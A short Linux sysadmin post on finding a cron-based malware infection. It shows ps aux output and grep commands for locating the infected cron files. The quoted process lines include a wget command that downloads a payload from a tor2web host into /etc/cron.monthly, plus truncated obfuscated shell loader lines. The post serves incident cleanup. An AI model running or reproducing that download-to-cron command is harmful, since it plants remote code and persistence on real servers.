[Solved] an7kmd2wp4xo7hpr.tor2web.su Malicious Processes/Crons – Linux

1. Malicious Processes

A. Identify the processes and the its URL name, in below case its an7kmd2wp4xo7hpr.tor2web.su
B. Use command ps aux

root 26561 0.0 0.0 139556 4392 ? S Aug20 0:00 wget --quiet --no-check-certificate --connect-timeout=26 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /etc/cron.monthly/cron
root 28777 0.0 0.0 139556 4384 ? S Aug21 0:00 wget --quiet --no-check-certificate --connect-timeout=26 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /etc/cron.monthly/cron

root 24991 0.0 0.0 106076 1380 ? Ss 20:56 0:00 /bin/sh -c R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/d
root 24992 0.0 0.0 106076 1376 ? Ss 20:56 0:00 /bin/sh -c R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/d

2. Malicious Crons

A. Now use the same URL name and grep it in whole server
B. Command is below
[[email protected] ~]# grep -rli an7kmd2wp4xo7hpr    /
/etc/cron.d/root
/etc/cron.monthly/cronlog
/etc/crontab

[[email protected] ~]# cat /etc/cron.d/root

- Restricting MySQL from particular IPs/VPN
- CSF Firewall
- LFD Login Failure Daemon
- WAF Web Application Firewall
- ModSecurity with HTTP/Apache
